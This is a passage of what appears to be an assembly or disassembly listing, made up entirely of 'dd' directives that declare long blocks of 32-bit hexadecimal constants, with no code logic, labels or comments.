		dd 0B96E68Ah, 0AF4C150h, 5F07082h, 34087862h, 91F4E1E4h
		dd 2E94403Bh, 6D7F10BDh, 31F81A03h, 0D896E486h,	0AC8AAAh
		dd 5C2A2C84h, 70E1F39Bh, 40268B1Fh, 0D8B0F866h,	0B7DB6C0Fh
		dd 3311301Dh, 40F86E80h, 830326EFh, 98A0FE1Bh, 0F9A90C0h
		dd 0F9D8C354h, 0EFA7E813h, 40CC5E05h, 6DC4ABB8h, 0A400021Dh
		dd 87B46B8Ah, 855E5Dh, 0C9497B72h, 36828DD5h, 4D2AF813h
		dd 3C88148Eh, 0DEBE1AC0h, 59F7FC5h, 842932Ah, 12484A8h
		dd 2659AF24h, 14B0602Eh, 402A5C81h, 0D601A5CCh,	0D10057D5h
		dd 0D3C72B8Dh, 0FFDB5AAh, 2D3E7046h, 0C13A38C1h, 9094FBBEh
		dd 9101DB64h, 722AA900h, 6575B009h, 0C44A0E04h,	0B1495E06h
		dd 3A7F7C00h, 232D3251h, 0C0044D9Fh, 89C6CEA3h,	4B8EB801h
		dd 92A8AD69h, 3207BC79h, 0A0D8E6A4h, 6101BEA0h,	5626AC00h
		dd 0EEDB5006h, 8B380BB8h, 9884h, 1EDCB2D2h, 550680B2h
		dd 320A232h, 0DAE0C210h, 88723C24h, 16FA54A0h, 9C01DC78h
		dd 2509D61Dh, 218A0335h, 0BBF4B35Eh, 1C8FDA83h,	83BB8ED1h
		dd 6BB7A7C9h, 0C014B808h, 31CE8276h, 0CC2C635Bh, 77E48FAh
		dd 0EFF1201h, 0FDF56801h, 4102383h, 0B1BB30A6h,	0F08B68B0h
		dd 0F8525940h, 1A3EFC05h, 384890B9h, 7C81EE28h,	0C2C17AF0h
		dd 0DBC4D518h, 0D61CDEh, 0A5AD9C61h, 0FC857C58h, 46051A06h
		dd 9871AFE2h, 9B71D348h, 92638054h, 163A7321h, 4929BE9Bh
		dd 0E8982F38h, 0D83CE977h, 7E60064h, 0AECC7915h, 0C787018Ah
		dd 14CBDAA0h, 46CC602Fh, 0F8A2CA20h, 12E607DEh,	0D9AA84C1h
		dd 0F00A8F0h, 1B240CF6h, 0B7025007h, 69E5BC80h,	0E60270FFh
		dd 6A40A319h, 7C3CE164h, 80B2E430h, 0B72593D4h,	45B014D7h
		dd 0B4286A6Dh, 7AC1C15Eh, 3556A22Eh, 82D43C58h,	804943C9h
		dd 0F8E0DB7h, 1060076h,	1853A746h, 271844D0h, 1288C24Ah
		dd 6849819Ch, 8C0DE808h, 21DAAD00h, 46FCF4ECh, 0D9C1644Ah
		dd 8004FC94h, 8EE8DE51h, 2528099Bh, 0AC00A68Ch,	65F7DA03h
		dd 0AE0310B0h, 42A0C392h, 5C1048A7h, 2C8C3AE8h,	13943EE5h
		dd 0C8848B8Ah, 0EF44C13Dh, 0C423C4h, 926109ABh,	0F84A36A3h
		dd 0D5FF1E93h, 7130297Dh, 191836h, 0F0838C3Ch, 0D503A1Dh
		dd 22201CB8h, 14CC1FD6h, 15560010h, 4D6843D5h, 0DA50D40Ch
		dd 38620C1h, 859F7CACh,	59299819h, 8F80FC2Fh, 0CE83B053h
		dd 6B200026h, 31AB0833h, 0F80263B6h, 0A93F107Dh, 2064F26Fh
		dd 389ABAD5h, 4EE34A0h,	0C5442096h, 0DAF978FCh,	2628F30h
		dd 569B9552h, 0C44050FCh, 0A0B42C9Ah, 1C045488h, 1039305Ch
		dd 6A39BF4Bh, 81800BCh,	0E617A9F1h, 8D3502ECh, 1C1E8B3Ah
		dd 0C2C454E7h, 0BAD6DC60h, 2BF0BE02h, 0D8E64821h, 80476BF8h
		dd 45C090CDh, 9F8FB508h, 79DC0C10h, 0AC248C00h,	3D0403CAh
		dd 0A7390084h, 4DFF8217h, 9D16C92Ah, 88050B78h,	64E8BD76h
		dd 344F3702h, 507414BAh, 0B7D46D1Fh, 98E522C4h,	137B0520h
		dd 0AC30055Fh, 38258BD8h, 3D72C0h, 5DF2D328h, 813CF1D4h
		dd 8097EA3Dh, 7296705Eh, 173A5932h, 9005EEBBh, 0CA857D44h
		dd 46761CBEh, 9A16000Eh, 22707C9Dh, 15F4083Bh, 4B2FB949h
		dd 0A58ED9B4h, 59467DDCh, 0B013E8B2h, 1278526Bh, 44780020h
		dd 95AE6D5Bh, 0D73C0B16h, 0A5ADA4C3h, 6E4C2402h, 4208F47Eh
		dd 0CFC5EFEh, 11579C89h, 0D0160670h, 2027E46h, 0EF7F0CF1h
		dd 0C60050C7h, 72C2F109h, 502E00E6h, 9CB2CE93h,	0B6F0A384h
		dd 9F8E892Fh, 80C511E8h, 0CF5EB2F9h, 0EB9C0643h, 0B0BC6D42h
		dd 1C81EC6Eh, 40D810E7h, 0ADD04022h, 0A0421DFh,	1EB8C7h
		dd 26F2FB31h, 15009167h, 7B33A2E3h, 2CC0BD5h, 7E63922Dh
		dd 4CFC3004h, 1B18F75Eh, 680F0E7Ch, 37BE4820h, 9D981449h
		dd 9E3B1180h, 8E48A8C2h, 2030E4BDh, 975EB1AAh, 86DD8CD0h
		dd 77B23874h, 8203727h,	2ABC294Dh, 6628A307h, 1EC17832h
		dd 0E9FA9E3Eh, 0C2E15018h, 20105046h, 8200B49Ah, 5502A15Eh
		dd 243A4FB8h, 417CF2B3h, 50D75C4Eh, 0AE4624E0h,	0EC50C860h
		dd 82EE8640h, 68E0E0C4h, 6A2BFF2Dh, 4E9867ECh, 0E2809CD1h
		dd 38666321h, 0B4AE0227h, 923B4EBAh, 0C4C0405Ch, 83108A9Ah
		dd 85BC11F1h, 0B7380618h
		dd 484424A1h, 978AEF81h, 0C1B0C24h, 62E68DA9h, 179DBB11h
		dd 813B9150h, 80B64FA5h, 0EA0BE022h, 5062B89Ah,	292818F0h
		dd 6844D083h, 9B3013A6h, 2EB8D1E7h, 0F00805B7h,	71120206h
		dd 0F081D4A0h, 0C4D54775h, 0FC30BA31h, 850A580Bh, 0B03048A3h
		dd 6681A63Fh, 0F09AD270h, 0F820A920h, 48A27C97h, 6008A224h
		dd 5ED4D1B3h, 7213AC04h, 8080E797h, 0BD8BCB19h,	0C63D009Dh
		dd 933A340Bh, 0D408DC5Ah, 90298B2h, 308B2B5Ch, 0D14E6CC7h
		dd 0F0B5E680h, 61A455Bh, 4368A353h, 7C6848DDh, 50B1C220h
		dd 6328A602h, 256844C5h, 4807FE15h, 0F4F77FEEh,	0E52FE024h
		dd 0F8A8C984h, 0F21CA214h, 0E1FC30C5h, 57306800h, 4B435DF9h
		dd 88C617E4h, 13C4808h,	0B5F06B80h, 7850E379h, 0A51A0946h
		dd 0CF1DEAAh, 2E48A682h, 0F95C44BCh, 3420C202h,	0A5239FEh
		dd 0BEAD922Eh, 181428D8h, 810AC7Dh, 836B5C1Dh, 2CFB0A71h
		dd 0AA229828h, 2030B09Dh, 68FF1B5Eh, 8B3C81C8h,	18B20BE6h
		dd 0A0F4AC60h, 81B0B600h, 0B1069DC6h, 0C0B003Ch, 0D73BDD86h
		dd 9D67B940h, 3911B09Fh, 7CCD3380h, 10B6C5Ah, 4891E5B2h
		dd 4851D734h, 3C0526B3h, 0AD31929Bh, 20280928h,	44D8F0F4h
		dd 9405B0B2h, 6A2E7E89h, 907C54B0h, 2064668h, 3C727BD2h
		dd 38E867E2h, 3D7BDA00h, 98A542FAh, 9D169E0Eh, 0DE1A212Ch
		dd 7030A470h, 30432501h, 889B0004h, 1F248AB8h, 811174B6h
		dd 9F40296h, 744C077Fh,	0D8C71A45h, 72D0A5F1h, 0B5F31639h
		dd 13EA12E8h, 8AD4B063h, 0E84CE658h, 12488CCFh,	299D0910h
		dd 0E490E474h, 99E60068h, 0A7339EADh, 5D0566F3h, 0C143F02Dh
		dd 0A0DD81C0h, 4E0C01C8h, 0C705593Ah, 90166B3Fh, 0CEF26CF2h
		dd 2D458130h, 0D0634218h, 580B0886h, 60999232h,	0A8FD5B78h
		dd 4F488h, 81B7E172h, 4AAC21E9h, 23F6C3Fh, 0FB38A305h
		dd 0BB054D5h, 4424723Eh, 819CF8D4h, 0B9566636h,	4EECD02Ah
		dd 0D5F8F8DAh, 0DEED7498h, 0CB833800h, 63B0A045h, 84C90093h
		dd 35760907h, 7B00FFB8h, 6B5AF1C8h, 60EE6682h, 1E3851D8h
		dd 0BF020111h, 1FE0701Ch, 52A36235h, 45BA0934h,	146C6E27h
		dd 70BD5B02h, 0F2C2BE46h, 0EE1C205Ch, 0F6368206h, 61C84CA4h
		dd 26C1093h, 0C1481355h, 38A79FB6h, 20A864C8h, 49DB4B2Dh
		dd 8D3B6CCh, 0B42F1859h, 0F17B3402h, 3E1C74B7h,	64F9D000h
		dd 0B038ACDDh, 3C32A0C4h, 1C226454h, 3D445898h,	0D9D460C6h
		dd 99B47165h, 0E4C40200h, 9F5A4BEDh, 0D6240787h, 20087C44h
		dd 0AA50D4A8h, 3E60A29Fh, 2F605256h, 0EC90A728h, 64A83AAh
		dd 0B407A4B6h, 30239E3Dh, 142580E7h, 0DB388262h, 42A856ECh
		dd 2D02071Fh, 1407E1C7h, 435C54C6h, 0B922C4BAh,	617B00B9h
		dd 1E918768h, 4F308E77h, 0C2E838C1h, 5644848Bh,	0B387BD6h
		dd 88A0E82h, 66EA7844h,	0CAC52800h, 5ECD87A7h, 0D3D20076h
		dd 4BCE9C3Eh, 0BB2F3A49h, 0FC4842D5h, 0C4465E18h, 40B8B61Ch
		dd 252BE876h, 3902E78Ch, 9FC0E9F1h, 0EADC60FFh,	88FE820Ch
		dd 0D3DC0F62h, 0DABD58F0h, 9E1FB10Bh, 338780EAh, 4F250D82h
		dd 0FC089039h, 0BE400246h, 94DB0079h, 0E78EE3EDh, 775BDF64h
		dd 81E49C80h, 0B40C043Dh, 13103A9Ah, 0DDC2E4F8h, 0C440827Ch
		dd 0E4A2E538h, 18449047h, 0B4603660h, 929A3306h, 4A693BE6h
		dd 0C80CCBFFh, 0BCEC1C8h, 0D42AF181h, 0A590B487h, 983658A0h
		dd 2DD7F80h, 0A598BABh,	6CC1807Dh, 20902A5Eh, 3A9243D1h
		dd 6080DCC8h, 4EFE47B9h, 9052144h, 49C7CBABh, 3122F8ECh
		dd 712B9C0Bh, 0C0F0CD8Bh, 7E5FF3F6h, 78A66626h,	523C248Bh
		dd 1AE51EB8h, 0DE963B4Fh, 0D590432Eh, 0CCFF30h,	66F433E7h
		dd 54ABB79Ah, 524C841h,	0D83B5C63h, 50B44A9h, 287C039Ah
		dd 66800B1Eh, 0A809BCFAh, 84A9FC86h, 3EAF3618h,	12192334h
		dd 0D17000EBh, 0BA327B0Ch, 901C7032h, 6F0407Dh,	0D4162548h
		dd 30DA942Bh, 0E4D3C62Ah, 68AF4500h, 88BACC19h,	0A9410303h
		dd 8DCE2C5Eh, 6D42E7F8h, 4E206C9Ah, 467C13BCh, 2360B1BAh
		dd 0E2AC50D8h, 2852394Ah, 59E6084Bh, 1838F1E8h,	0EE9B0041h
		dd 0C82F5AEDh, 0F5053482h, 319A933Ah, 84C1340Bh, 0B634739Ch
		dd 0A643A014h, 0E016FF38h, 7CC7CA2Ch, 18FC4C4Eh, 253378E5h
		dd 68D239ECh, 8235A20h,	0FE9C031Ah, 0B6E22A03h,	3595B810h
		dd 0A0C397D2h, 34960A80h, 0E068BA3Dh, 3E7E8240h, 0A4B85702h
		dd 29B25862h, 2B35490Eh, 7954F9C8h, 1E4D183Ah, 0E6B29CD6h
		dd 0BABC8278h, 76092584h, 63E740E8h, 834E179Fh,	0F6C65C23h
		dd 0A6F60091h, 0E482C9CEh, 5C315659h, 66FE397Ah, 0BC2DA3F5h
		dd 0B2C032Ch, 70470601h, 2A60CB64h, 0DD053013h,	0CE9B3C60h
		dd 2E92821Ch, 3E29ACC8h, 53C8D790h, 58246B25h, 50C0A2A2h
		dd 6C963910h, 0A8417EC4h, 0AB0BE50h, 36BCB85Ch,	0F485008Ch
		dd 7DB4CD6Dh, 9322513Ah, 7F63828h, 80EFA01h, 0F869ED53h
		dd 0AA2F3231h, 9244010h, 710B635Fh, 3924A9B0h, 0B601B82Fh
		dd 0BAC64024h, 9918E500h, 33E1AD05h, 0F8F06CB2h, 0F05E2EE4h
		dd 0B9159264h, 772ACF8h, 0A036D8F7h, 832D810Fh,	79B4232h
		dd 729B7048h, 4AD2C0ABh, 38E4AC45h, 0F6949E60h,	0A98F0200h
		dd 5164AEE4h, 4AC7A49h,	0FC32CF96h, 837BA0Eh, 3594B291h
		dd 0C5A4202h, 32C15245h, 56AF4040h, 24EB2581h, 0C891A417h
		dd 967DAA80h, 0C0089D3h, 57284110h, 13630EACh, 20930443h
		dd 0DD1C8F10h, 0B0CCB41Fh, 0EAB5B103h, 32EB888Ch, 70C91F15h
		dd 267B0225h, 18507640h, 0BA33CB16h, 5E9404F4h,	23202F3Eh
		dd 0DA1C00BEh, 87E2F88Ch, 6959BB00h, 8B3C801Fh,	0E109E62h
		dd 0C8E4A905h, 3C2EAA14h, 0F3ABF23h, 3E087E7Fh,	309C6481h
		dd 137B6E92h, 23B03A34h, 44780037h, 0AE5E8BEDh,	79E6820Fh
		dd 10C8D362h, 0ECB38668h, 1E4B2C58h, 49B94213h,	0D482FB29h
		dd 68F19E4Ah, 0C0A0CD2Fh, 40B2DC18h, 8437015Eh,	48E51184h
		dd 9B9EAEE4h, 92BC82D4h, 69243682h, 409A30CCh, 56FE7CDCh
		dd 8CE3B84Ah, 0D63038B2h, 432D12C0h, 0F23F0968h, 0E70EBCD0h
		dd 65D5B64h, 312C31h, 88752980h, 9FCC9910h, 0E02ACF0Eh
		dd 84C29CF6h, 74C3D25Eh, 778A8AE4h, 0C5467EC4h,	0E669A800h
		dd 73D63940h, 5AB33C0Bh, 0E2F4FA06h, 0A00B4E25h, 0A24832D8h
		dd 6EAC414Dh, 95F6848Ch, 0AC0DC6Dh, 14EEEE9h, 6154B18Ch
		dd 0E0D047D1h, 5C5BE689h, 0A6289C40h, 15BF052h,	0F19F1B3Ah
		dd 70FE8B6Bh, 6611FFE0h, 2E0416BAh, 72BAEAAh, 0FA827CE3h
		dd 76F0DACFh, 91E6804Eh, 0B7B420BDh, 7ADD8271h,	3F96008Fh
		dd 0FE5DE3C6h, 0F5386935h, 705F8112h, 83B248Bh,	667E9185h
		dd 968E8D2h, 687240A6h,	7A7782ECh, 923C122Dh, 0BA4CC44h
		dd 7C4F71C9h, 1101000h,	8082AF19h, 0C8914EA6h, 81186EB2h
		dd 50D4568Ah, 0B2463050h, 667CBEC7h, 98CF08AAh,	7E8A69B6h
		dd 3FD75178h, 8C7B143Eh, 0B31D8200h, 86A5B43Ah,	0F09B1C75h
		dd 48A884EFh, 0B30F83Eh, 0C2066670h, 0E01157A4h, 949930A4h
		dd 27189200h, 3AE90D8Eh, 204009E1h, 0DC804D50h,	0ACDD2CDBh
		dd 0A780B0Bh, 3974D2AEh, 3E84CD65h, 0BCDEC6DAh,	8A9C1E70h
		dd 0A4D12E56h, 6504201Ch, 0F2A8E29Ch, 473430C8h, 41A9AD2Fh
		dd 0D402BDF4h, 1D971458h, 80119120h, 0CCA63673h, 1E7D7BDDh
		dd 49FF1377h, 0CCEEBCDEh, 91B15E37h, 0B870AB43h, 787AA9Ah
		dd 0BC03A729h, 5C33E1AEh
		dd 85905363h, 5F063D88h, 0FF39CD60h, 4A2961h, 0B383FDA3h
		dd 0E4DCD0DEh, 1CCF7700h, 42476C9Dh, 99E2FB2h, 3B447044h
		dd 55942485h, 8EEEC5E8h, 0CE388818h, 0F7AA0240h, 0BD2ECDA0h
		dd 0A4084067h, 0DB1204h, 0E787833Dh, 0AC5B7863h, 166050F0h
		dd 8B574324h, 0C0CBC8E4h, 0D0C356D3h, 105C794Ch, 0B24B21BAh
		dd 2E490E50h, 317540C8h, 6C20EDh, 0A8213FE8h, 0E03C7F2Fh
		dd 0A091CC05h, 0C8BC2C9Ah, 0CA084A84h, 0E2504228h, 116330C8h
		dd 8561B900h, 0FBB76698h, 94019D4Bh, 4D1DF30h, 4DF030ABh
		dd 63FF012Ah, 3C2F5E4Ch, 1400CA23h, 0E1699FECh,	16D1729Ah
		dd 0CC4A85AFh, 0B074B62Ch, 0CA482E0Bh, 9250F1B9h, 0E2DCE3BCh
		dd 70603119h, 2E1624C7h, 98F59256h, 1786E2Eh, 0B51E5CA2h
		dd 0B09272D7h, 819C6480h, 6DC90A88h, 0A88BD768h, 4503A3DCh
		dd 99DA80A0h, 48E476F4h, 9082B79Eh, 0CCC49295h,	2A1AF300h
		dd 13768F86h, 0C0C82A0Bh, 0B4CF00BCh, 0E622BF1Ch, 0E0A4ADAFh
		dd 1902E378h, 5E7E5379h, 700DC46h, 81830D7Fh, 80551048h
		dd 233D38C0h, 7BADBF01h, 0F942005Fh, 8B3E4D4h, 0FE00E78Bh
		dd 5D825BEh, 2D923BCEh,	5C68FD9Ch, 3819A8B9h, 34B0C9AFh
		dd 4D3BC6Dh, 16061B04h,	1C43C09Eh, 30272618h, 0D18362EDh
		dd 4071BC5Bh, 31023C39h, 9A34FFF0h, 14B42C44h, 6CEBA067h
		dd 0FA3883A8h, 0C8DC90C3h, 20299FFBh, 3609CD4h,	133A0526h
		dd 0B90F76ABh, 3C7C40C8h, 0ECD70A07h, 2F488E40h, 3166F091h
		dd 0CBFC69EEh, 7D3010ADh, 525CE823h, 56C220BBh,	3023A3EAh
		dd 61FA48Fh, 18BA164Eh,	43832005h, 70622FAFh, 709088B6h
		dd 7EF2F00h, 5A20BAA0h,	7C2C7006h, 3516114Fh, 0EC407236h
		dd 4D852575h, 0E6E1017Dh, 781B9A18h, 0BBB98265h, 0D8833006h
		dd 0A7DA5CFCh, 0CD91400h, 0B3F33A7Eh, 0BD5C98C0h, 385FE6Fh
		dd 6EF02FE0h, 2100E6ECh, 8D34A2C8h, 3E85CEA9h, 760E1F95h
		dd 44827FF1h, 10F2990Ch, 0A8045A01h, 0A184F5D0h, 0F26DEEE0h
		dd 0CD7B0931h, 102E67F7h, 1473AA0h, 0CF0B067Ah,	0F0BFF171h
		dd 1EA82050h, 77674338h, 2E4E8BA0h, 0EF342197h,	61F2D729h
		dd 31C4D300h, 2D350186h, 6CB87DFDh, 16E0222Ah, 58088D03h
		dd 0C97B800Ah, 0B053D16Dh, 0C0BE61E2h, 0AA10C119h, 3903C822h
		dd 9141F918h, 14493C81h, 0B2289011h, 1E044A99h,	7B141828h
		dd 2A365831h, 3CDA988h,	0D301CCC7h, 0B7A1BD45h,	0D8D02F8Ah
		dd 15FD3D35h, 40408D13h, 2EEFCCA1h, 308548Ch, 0B87B6B09h
		dd 0F8B13B74h, 50467A98h, 48F8F55Ch, 3CD16C66h,	0B12AB0B8h
		dd 9A17A485h, 0A8D66444h, 0AE394430h, 7C4434A5h, 7D0D072Fh
		dd 747008A8h, 605C7557h, 79BDD1FDh, 7B02BBCFh, 5E3A6DB9h
		dd 0BC488862h, 0C1B3EF1h, 614F4124h, 52BB3432h,	0A1F80A20h
		dd 37A89EA8h, 253D0339h, 546E6128h, 0B9107342h,	128426A1h
		dd 4888B609h, 0EE3C38h,	0DC33D7C1h, 8BAC759Ah, 444B5FF6h
		dd 705248C5h, 5BEFD004h, 904A6CBCh, 0BD564208h,	20ACA87Ch
		dd 9214F086h, 24A0655Dh, 0A0A69C08h, 814EBF80h,	0B699BBFDh
		dd 35C825Ch, 95D52C45h,	933FD0F8h, 0AC644197h, 88D60888h
		dd 0FBE5A707h, 109201C3h, 18F9E010h, 3008B02Ah,	7718C658h
		dd 0C020084Ch, 6F502086h, 3144C520h, 0EB30AE0Ah, 7ACD012Eh
		dd 1568B01h, 90014963h,	60D30162h, 0A00B0888h, 18A65808h
		dd 31B92126h, 0CCCB2D80h, 20B98F58h, 0A18519C6h, 1B974051h
		dd 1828E763h, 4C0818C7h, 4BA41864h, 0A31508C4h,	0AB9210Ch
		dd 62FFA840h, 4FCE089Dh, 19B2EA03h, 8E67340h, 0D1218846h
		dd 0C8E9089Eh, 107FFA0Ch, 0D4BF40F3h, 62B26140h, 753208AAh
		dd 8183C07h, 0CC08A438h, 0C2FB0C67h, 0AD40F938h, 44AB4013h
		dd 5018C663h, 9B0818FAh, 0D794183Bh, 2E71FB83h,	0C581F49h
		dd 0FD18EA52h, 0BC9749C6h, 3DF42010h, 408B4B38h, 91B88077h
		dd 8081E680h, 30C6BA3Fh, 5408D0BFh, 621EFC9Dh, 0E2B908CDh
		dd 20E17A06h, 0F209A90h, 581A2063h, 546EB920h, 0A896D49Ch
		dd 0C434F5A4h, 4E9B510h, 0F30453F7h, 0D89606CCh, 51F63108h
		dd 8876BF18h, 0C99C408h, 9820E881h, 0C4FE7240h,	47EDB91h
		dd 6704736Ch, 0F8080A4Eh, 3298D995h, 495969A6h,	0A9889F80h
		dd 0D8085E13h, 0DA4D0CC0h, 5A621508h, 2EBEE18h,	7102C3D0h
		dd 0BD4C0259h, 9FF9D80Fh, 51D9D9E1h, 23AC5328h,	0C1B12131h
		dd 9002620Dh, 8A6AB449h, 80B75E49h, 0B3185790h,	0C98110E0h
		dd 0C86708C4h, 0B061910Ch, 404A2F40h, 36629A83h, 240D008h
		dd 0C202AA86h, 8EB402A1h, 256E902h, 0B8025C64h,	0DEDC03A0h
		dd 0CAEA6019h, 892BB89h, 1CA0566Eh, 92733E4Dh, 95ED3144h
		dd 27F2F08h, 0C56448CEh, 8A8F808Ch, 0C446F680h,	975C808h
		dd 9F94256Ch, 7857C444h, 0A2B9540Ch, 0B020B866h, 0C4232481h
		dd 10E69040h, 0A61B6DE9h, 0D1AEF145h, 518E8C89h, 3B3D8A8h
		dd 8B4110F2h, 993F31D1h, 1E015D0Ah, 3981B16Bh, 10937CE2h
		dd 35044992h, 3EE558A0h, 0A4995BD3h, 0C439D001h, 2828EF8Fh
		dd 0EC1C4939h, 0AA10B057h, 5A00CEC8h, 0A6CC5CC1h, 0FB6221FEh
		dd 0C0F8C435h, 0A4F70006h, 0E6B3BF03h, 340E78F0h, 82299F5Bh
		dd 0C675C2F5h, 0F098B0B8h, 0F69E00B0h, 17DD2635h, 0E60345Fh
		dd 3AE43220h, 0AED70C02h, 26A1097Fh, 0A7A8A307h, 63310B29h
		dd 6062B70Ah, 44E00327h, 4578B49Eh, 885C2D0Ch, 3EAB2048h
		dd 0FB8066B8h, 2709FDEAh, 0AF0BA8AAh, 0FAEB3A29h, 5E840340h
		dd 2A5CC6BDh, 7CDD1007h, 22840BB7h, 0DA0044B8h,	5503335Dh
		dd 5B0006BDh, 14F7B9D2h, 0DC6FBFAFh, 37508B84h,	0B7A8F482h
		dd 74C43098h, 82B10101h, 0D2A49209h, 9A981880h,	9C581726h
		dd 0C7044E06h, 30A676h,	0D89086F6h, 0AEB52292h,	9815500h
		dd 0CC5EB60Dh, 0C0F8DC02h, 0EA299721h, 41F89F03h, 0FE18A660h
		dd 77CF732Eh, 3C40A039h, 95D7283Ah, 759C0008h, 849F1B34h
		dd 3E032B77h, 3C73D70Ah, 2A80A032h, 15BF0997h, 14F41ECBh
		dd 0AF04CC01h, 19809681h, 3F2472FCh, 90A053DCh,	0D10231D3h
		dd 0C591D614h, 74848002h, 319A7A44h, 0DA90075Fh, 50F1CC73h
		dd 825C2Fh, 0BD91D5DCh,	0EF98C0A5h, 0EE3B0964h,	7A85A701h
		dd 0F1DC5C25h, 8D22880h, 64CA8E96h, 5EFD3206h, 7F06FC8h
		dd 0D581A80Dh, 0D392430Bh, 9F5CF5F8h, 0C438CE60h, 0E244F8A7h
		dd 675403E7h, 0E63B91CCh, 822E7004h, 4C88BC86h,	5F0B0C78h
		dd 62108EFDh, 0BDED1400h, 66846EC1h, 94DC00B9h,	29818A78h
		dd 7D901340h, 733091E4h, 257DF036h, 1B220FB3h, 0C0EC5EB8h
		dd 0BCA60848h, 88464400h, 0BAF9912Ah, 0A35EF0D6h, 5CB08008h
		dd 23380309h, 3331D19Fh, 452DDA2h, 0F6EF921Bh, 29C7D048h
		dd 44C6123Fh, 763040A5h, 7274AF01h, 5F732678h, 0AEC67338h
		dd 0DB06F4BFh, 48F6E3h,	0D0BCF7Eh, 0F28512D6h, 77EEAF04h
		dd 8E10F5Ch, 432F61F1h,	0C975C6A4h, 4D9C4000h, 3449A0Dh
		dd 0C44E030Ch, 178B9255h, 87BF805h, 8CAD5FD9h, 0A080AE00h
		dd 6E93211h, 58509E78h,	83245E08h, 0D08FF459h, 0E420D213h
		dd 903AF0BAh, 3C7E1D44h, 9CEE9567h, 90421490h, 1F09910Ch
		dd 7008A680h, 0A11B55Eh, 31CF03Ah, 3010EF5Ch, 427C86E1h
		dd 0C448B050h, 40C308CFh, 96765C7Eh, 48AD0060h,	0A21D750h
		dd 0F860C8C7h, 8A5F0F48h, 8440D486h, 454C8226h,	0C67C43D8h
		dd 180017EAh, 0AA03493Bh
		dd 1DBD2A0Fh, 29E7A7h, 0D7123A4Dh, 0DE502547h, 74983CACh
		dd 8664A60Ah, 848C507Ah, 5A5EE903h, 3C588299h, 87DD2860h
		dd 3BA02854h, 38AB9F02h, 40BD680Fh, 4F664ADh, 7D5C8050h
		dd 0ECECC8C3h, 84081D1Eh, 9258C4C2h, 13A8F016h,	59262E47h
		dd 0E7A09810h, 20A883E1h, 7C770930h, 7079872Ah,	0B8CC0730h
		dd 18346044h, 60CB6228h, 537B0C83h, 3A40C41Ch, 5C1808E8h
		dd 788851C3h, 72AE3E8Ch, 8F935D1Eh, 0A4408506h,	2DC70554h
		dd 1158E761h, 38438F87h, 688803A6h, 4C665CB4h, 7D864812h
		dd 90813432h, 0C788C4h,	7C36070Bh, 19462D24h, 29CFA90Fh
		dd 0D509200Dh, 30D82663h, 288D699h, 0A044BC0Eh,	0B75B1842h
		dd 0B3430ACh, 7E9F2Ch, 0F120699Ch, 50126094h, 97F0C683h
		dd 0B05C8054h, 3209570Ch, 1299401Bh, 440D4347h,	193744h
		dd 209A0CCBh, 3B103E3Ah, 606D4F19h, 0F081DECCh,	2395A5Eh
		dd 292EC00Dh, 120E0FF5h, 5C00021Ch, 9980D9BBh, 42907C60h
		dd 132EB749h, 7EBCE7Ah,	0C0BF3618h, 0C6D711B2h,	0A092ED7Fh
		dd 76395C01h, 0E8BA2EFDh, 814CDE3h, 27540198h, 850C4C86h
		dd 4E08E0AAh, 0C6BC80D4h, 48C5A796h, 0E8B0FD0Ah, 0D080E736h
		dd 0D342870h, 3BF8AAB0h, 0C039BF25h, 585AC528h,	11618482h
		dd 0C9682755h, 1C642BD2h, 96400C1Eh, 0B7CFAC9h,	0D7F93EC4h
		dd 0E77D050Ah, 9C7F04BCh, 58BC8DAEh, 0A85EC6E8h, 0AC115480h
		dd 68030171h, 3AFFBA18h, 81CC451Ah, 0EECC9224h,	9801F840h
		dd 8309A09Ah, 0D4A06Ch,	903C5368h, 2F0316CEh, 0CDF80076h
		dd 0C72CF3A3h, 42E44654h, 0A6B76117h, 4060440Ah, 2C387988h
		dd 0BC5E585Ch, 3B045859h, 64D38FA7h, 0D9E2843Eh, 0F7806085h
		dd 86F4E3h, 0CA967775h,	359EED2h, 71AEF50Eh, 95C01F6Eh
		dd 0FDC68806h, 4CD8920Eh, 74482422h, 94070881h,	0FE6C70D4h
		dd 9FF440A4h, 30C1B8AAh, 6600C20Ah, 0C0AEDFF8h,	0E421D630h
		dd 1B269235h, 48880CD9h, 0D02A9AEEh, 0C0104489h, 0B02AC703h
		dd 5B018811h, 0CC5C81BDh, 70863015h, 48A07512h,	0E8367B26h
		dd 0DCD22C93h, 470F606h, 0D01D2E5Eh, 0D80CE7FCh, 9320A8ACh
		dd 0E83E6033h, 92299FA8h, 20C50A30h, 2C86F56Dh,	16E717A9h
		dd 66380130h, 0F0F9D0E7h, 0C52C0C8Eh, 701EF040h, 4C087614h
		dd 5E144044h, 2D12F60h,	3A1D752Ch, 21010383h, 7DB7F0Ch
		dd 1FFC23E5h, 302E8C31h, 78827D04h, 3C812C90h, 1A14B064h
		dd 0B0BAD2FCh, 42730081h, 909C204Ah, 58123A40h,	0F2CF74ADh
		dd 0EB14647Eh, 54FA8402h, 33B42A00h, 0E0DEE9E1h, 0D453E3A8h
		dd 69856418h, 0D3B05D97h, 7C883087h, 6260E26h, 0A800A42Ch
		dd 0D0A1039h, 0D069162Fh, 7C180037h, 78DD0BD7h,	98C69A13h
		dd 810A1047h, 5F07825Fh, 180E89Bh, 0C0F65AC7h, 0CD464354h
		dd 403D0B8h, 0D34DC63Bh, 61AF991h, 6402F865h, 243844DAh
		dd 51CA4FEh, 429BB192h,	0D9EF1360h, 10AFA603h, 9AD9D20h
		dd 827F0D76h, 0CAC1169Ch, 0C6208190h, 3C65C8FEh, 57AFF8h
		dd 0DA322D7Bh, 0C6EDC305h, 589230EAh, 6602587Ah, 54727744h
		dd 0C5026059h, 0A5D9079Fh, 804F6E0Eh, 0F7AE21EDh, 5F845502h
		dd 825DEEB9h, 6491FACh,	0ACB0B198h, 20051090h, 10D72144h
		dd 782774C1h, 2EDC7830h, 0EE40E72h, 28323ADFh, 0A4A8BEFCh
		dd 0B43AEDEAh, 31D53A75h, 0C8DB0878h, 962910FBh, 0F8342CBCh
		dd 0C0028413h, 4029325Ch, 3A7CFA8h, 0CC5F44F5h,	84E59719h
		dd 0EEAC4466h, 730700FEh, 12B4221h, 0C70BCC03h,	33BAC631h
		dd 38662E14h, 0EA725C86h, 17DC9878h, 12241CC5h,	0AD508175h
		dd 268062C7h, 6609BC70h, 70C00C39h, 62A7140Ch, 507C825Eh
		dd 5C6AAC70h, 0A0605005h, 0F47D77AAh, 344A9212h, 4D400C1Fh
		dd 0F90365F1h, 960802C3h, 16763061h, 0A0C5C4A7h, 0C4ABCC95h
		dd 0AF017300h, 9FD6D571h, 0CE5E14BEh, 70C8C80h,	0F3F097A9h
